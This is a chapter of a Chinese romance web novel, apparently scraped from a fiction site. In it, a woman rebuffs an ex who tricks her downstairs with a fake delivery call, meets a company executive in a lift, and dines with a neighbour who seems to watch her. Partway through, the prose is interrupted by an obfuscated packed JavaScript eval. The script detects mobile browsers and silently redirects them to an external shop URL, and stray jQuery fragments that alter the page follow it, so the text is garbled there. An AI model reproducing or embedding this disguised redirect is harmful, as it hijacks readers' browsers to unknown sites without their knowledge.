文趣网 > 其他小说 > 我曾无数次路过你 > 7. 两扇门
    下午三点,陆汀溪正忙着和开发对需求,手机突然响了。

    一个陌生号码,归属地山兰。她接起来,那边是个男人的声音,带着点地方口音,语速很快,像赶时间:“你好,快递,到付的,麻烦下楼拿一下。”

    她最近买了不少东西,好些店铺发的是到付,她自己也记不清哪家发哪家了。

    她应了一声“好”,挂了电话,跟旁边的同事说了句“下楼拿个快递”,拿了工卡就出去了。

    电梯到了一楼,她穿过大堂,推开玻璃门。

    门口停着一辆黑色的SUV,车窗半开,里面坐着的人她一眼就认出来了。

    陈屿。

    她脚步停了一下,转身就往回走。

    车门开了,陈屿从车上下来,几步跨过来拦在她面前。他穿了一件深蓝色牛仔衬衫,头发也收拾过了,看起来人模人样的。但陆汀溪现在看到他这张脸,只想起两个字:恶心。

    “汀汀,你听我说几句。”他伸手想拉她。

    陆汀溪退后一步,避开他的手。“没什么好说的。”她朝附近张望了一圈,没快递员的身影,瞬间明白过来,是这货搞的鬼。“你找人打的电话?”

    陈屿点头,“你把我的号码拉黑了,微信也删了,我联系不上你。”他的声音不高不低,像是在跟她商量事,语气里带着一丝委屈,好像做错事的人是她。

    “联系不上就对了。”陆汀溪说,“我跟你已经没关系了。”

    “你那天在饭店里——”陈屿顿了一下,“你当着那么多人的面,让我下不来台,我也认了。但你不能不给我一个解释的机会。”

    “解释什么?”

    “那个女人,就是同事吃个饭。”

    陆汀溪看着他,忽然就笑了。

    同事吃个饭。互相喂饭?

    她笑自己以前怎么跟这种人过了十几年。她不是不知道自己当初眼瞎,只是没想到,这人到现在还在把她当傻子。

    这理由骗真弱智都牵强,更是何况她。

    陆汀溪自认为头脑还算聪明,这种谎话,在她这根本混不过去,除非是她自己想信,比如之前那六次。

    但现在她清醒了。

    陆汀溪看着眼前这人,笑了。“这话你就骗骗鬼吧。是不是同事,我压根不在意,和谁在一起是你的自由。”她顿了一下,语气淡下来,“赶紧哪儿凉快哪儿呆着去,我有一堆事忙呢。”

    说完她侧身要绕过去。

    “我不让。”陈屿往前逼了一步,“今天不把话说清楚,我不走。”

    陆汀溪翻了个白眼。

    她知道这种人,你越跟他讲道理,他越来劲。你跟他解释,他觉得你在乎他。你跟他吵,他觉得你还放不下他。最好的办法就是不理他,让他一个人唱独角戏。

    她从旁边绕过去,往大堂走。

    陈屿跟上来,伸手拽住她的胳膊。

    “你松手。”陆汀溪声音不大,但很冷。

    “你听我说完。”

    “你再不松手我叫保安了。”

    陈屿没松。他攥着她的胳膊,力气不小。陆汀溪挣了一下,没挣开。大堂里的保安注意到了这边,往门口走。

    “需要帮忙吗?”

    “不用。”陆汀溪说。

    她转过头,看着陈屿,一字一句地说:“陈屿,我最后跟你说一次。我们结束了。不是因为那个女人,是因为你不配。以后别来找我了,再来我就报警。”

    陈屿脸色很难看。嘴唇动了动,想继续说,但陆汀溪的眼神让他把话咽了回去。他见过她的愤怒,也见过她伤心,但没见过她现在这幅表情。像看陌生人一样,是彻底的无所谓。

    陈屿松了手。

    陆汀溪甩了一下胳膊,揉着被他攥红的地方,头也没回地走进大堂。推开玻璃门的时候,余光扫到旁边站着一个人。黑色风衣,手里拿着笔记本,正看着她。

    许蔓。

    不知道站了多久,也不知道看到了多少。两个人的目光碰了一下,许蔓脸上没什么表情,和她平时一样。

    陆汀溪没停,装作没看见,径直走了进去。

    身后传来许蔓的脚步声,不紧不慢,在她后面。

    两个人一前一后进了电梯。电梯门关上,里面只有她们两个。

    陆汀溪紧贴着电梯,盯着跳动的楼层数字,心里有些忐忑。

    上班时间和一个男的在楼下拉拉扯扯,还被许蔓看到了。她会怎么想?会不会认为她是上班摸鱼?

    她在心里骂了陈屿一万遍。

    被这个渣男害死了。

    电梯到了四楼,停了一下,没人进来。

    门又关上了。

    电梯里安静得只能听到上行的嗡嗡声。

    许蔓瞥了一眼她胸前挂着的工牌。

    “产品部的?”

    陆汀溪心里咯噔一下。

    她点点头。赶忙说,“许总,我下不为例。”

    许蔓看了她一眼,嘴角动了一下,说不上是笑,但也没那么严肃。“我不管考勤。”

    陆汀溪一愣。

    她以为许蔓是要说她上班摸鱼,结果人家根本不在意这个。那她刚才那句“下不为例”不是在解释,是在自曝。她忽然有点不知道说什么。

    许蔓倒是没再看她。安静了两秒,说了句:“刚才那个,处理得挺干净。”

    陆汀溪又是一愣。

    她看着许蔓,许蔓的表情还是那样,不咸不淡的,像是在说一件无关紧要的事。

    然后电梯到了五楼,她走了出去。

    电梯门又关上了。

    陆汀溪站在那,看着面前紧闭的电梯门,出神了一会儿。

    刚才许蔓那个表情是......觉得她干的好?

    她看着跳动的数字,仔细分析着刚才的对话。

    许蔓那语气虽然听不出什么,但话本身是正向的。如果她真觉得不妥,大可以什么都不说。既然说了,至少说明她不反感。

    陆汀溪嘴角动了一下。

    这算是给人留了个印象。虽然不知道是好是坏,但绝对算深刻。

    她这几天一直在想怎么才能接近许蔓,怎么才能让人家记住她。她想过很多办法,但她没想到,最后竟然是陈屿那个渣男助了一把力。

    电梯到了十二楼,她走回工位,坐下来。开了电脑,打开那个还没写完的需求文档,脑子里的思路比刚才顺多了。

    陈屿那种人,以后也不会再来烦她了。

    下午四点多,陆汀溪的手机又震了。她看了一眼,是个陌生号码。

    她没接。

    过了几分钟,一条短信发过来,还是那个号码:“陆汀溪,你别后悔。”

    她看了一眼,删了。然后把那个号码也拉黑了。

    陈屿这个人,这辈子她都不会再见,这一次,她要彻彻底底让这个渣男滚出她的人生。

    下午剩下的时间,她扎进工作里,把之前的文档收了尾,又拉着研发过了一遍逻辑。忙完正好六点,她难得没加班,收拾东西走人了。

    刚停稳车,手机响了。

    沈琛发来的消息:

    「羊排烤多了,分担一下?」

    陆汀溪还没吃晚饭,正打算回去点个外卖,看到这条信息,眼睛瞬间一亮。

    还有这好事?

    她立马回:

    「那我不客气了,马上来。」

    陆汀溪拎着包进了电梯,手指伸向六楼的按钮,停了一下。忽然想起家里还有啤酒,跟羊排正好配。拿两罐给沈琛,也不算白吃人家的。她手指往上挪了挪,按了七楼。

    到家拿了啤酒,又急匆匆下了楼。

    楼道里的声控灯亮了一下就灭了,她跺了跺脚,灯重新亮起来。

    六楼到了。

    她敲了敲门。没几秒,门开了。屋里飘出一股烤肉的焦香,混着孜然和辣椒的味道,香味儿直冲天灵盖。

    沈琛还没说话,陆汀溪先开口了。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523496|203383||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “这么香!”

    沈琛看着她手上的啤酒,嘴角扯了扯,“你这是......自带酒水?”

    陆汀溪晃了晃手里的罐子。“配你的羊排,刚刚好。”

    她本来打算把啤酒放下,拿了羊排就走。两家楼上楼下,端着上去也方便。

    沈琛接过啤酒,看了一眼,说:“就在这吃吧,刚烤好,凉了就不好吃了。”

    陆汀溪犹豫了一下。她今天确实累了,回去吃完还得收拾,太麻烦。而且羊排刚出炉的味道实在太香了,她不太想走。

    “行吧,那我就不客气了。”

    “其实你不用自备酒水。”沈琛随手拉开冰箱门,“我这也有,管够。”

    陆汀溪看了一眼,冰箱里码着好几罐一样的啤酒,跟她手里拿的那个牌子一模一样。她愣了一下,这啤酒是国外的一个牌子,挺小众的,岭南很少有超市卖。

    “你也爱喝这个?”

    “嗯。”沈琛关上门,语气很淡,“凑巧。”

    陆汀溪没多想,把啤酒放在桌上。

    沈琛转身去拿了两只玻璃杯,从冰块盒里敲了几块冰出来,分别丢进杯子里。啤酒倒进去,冰块浮上来,气泡顺着杯壁往上冒,发出细微的嘶嘶声。还没喝,就感觉爽口了。

    沈琛把其中一杯推到她面前,转身拿了两套餐具摆好,又端来烤盘,夹了几块羊排放进她盘子里。羊排还冒着热气,表面的油脂在灯下微微发亮。

    “看着就好吃。”陆汀溪举起杯子,“谢沈老师招待。”

    沈琛也端起啤酒杯,轻轻碰了一下她的杯子,“客气了。”

    两人喝了一会儿,羊排吃得差不多了。陆汀溪靠在椅背上,看着对面的人。沈琛正低头用纸巾擦手上的油,擦得很仔细,一根手指一根手指地擦,不急不慢。餐桌上方那盏灯不太亮,光落在他身上,把他的五官照得更立体了。

    “你今天心情不错。”沈琛忽然说。

    “还行吧。”陆汀溪端起杯子又喝了一口,“把渣男甩干净了,工作也还算顺,有人请吃羊排。能不好吗。”

    沈琛没接话,把擦完手的纸巾扔进垃圾桶,端起自己的啤酒杯,没喝,在手里转了两下。冰块碰到杯壁,发出很轻的响声。

    “那你呢?”陆汀溪问。

    “什么?”

    “你今天咋样?”

    沈琛看了她一眼,很短暂,也就两三秒。但陆汀溪觉得那一下比平时久了一点。也可能是她喝了酒,时间感不太准。

    “也挺好。”他说。

    “哦?看来沈老师今天也有好事?”

    沈琛没答,端起酒杯碰了一下她的杯子,清脆的一声响。他喝了一口,放下杯子,视线落在桌面上,像是在想什么。过了一会儿,他抬头看了她一眼,嘴角动了一下,没说话,但那一眼意味深长。

    陆汀溪被看得有点不自在,端起啤酒喝了一大口。

    心跳莫名快了半拍。

    “帮你收拾一下吧,也不早了。”陆汀溪岔开话题,掩饰自己的不自在。

    “我自己收就行,早点回去休息吧。”沈琛站起来,有条不紊地把桌上的餐具放进水槽,拧开水龙头。

    “那怎么好意思。”

    陆汀溪嘴上虽然这么说,但人已经走到门口换鞋。她刚才喝得有点急,脑子此时涨得发晕,也就没再坚持。

    “不送了啊,你自己慢点。”沈琛站在门口说。

    她摆摆手:“放心,精神着呢。”说完,便晃晃悠悠地进了电梯。

    电梯里。陆汀溪靠在轿厢壁上,又想起刚才沈琛那一眼。

    那究竟是什么意思?

    感觉……不是随便一瞥。

    电梯只升了一层,还没反应过来就到了。

    她走到自家门口,解锁,进门。

    门在身后轻轻关上。

    楼道里安静下来。

    过了几秒。

    楼下,另一扇门,也极轻极缓地合上了。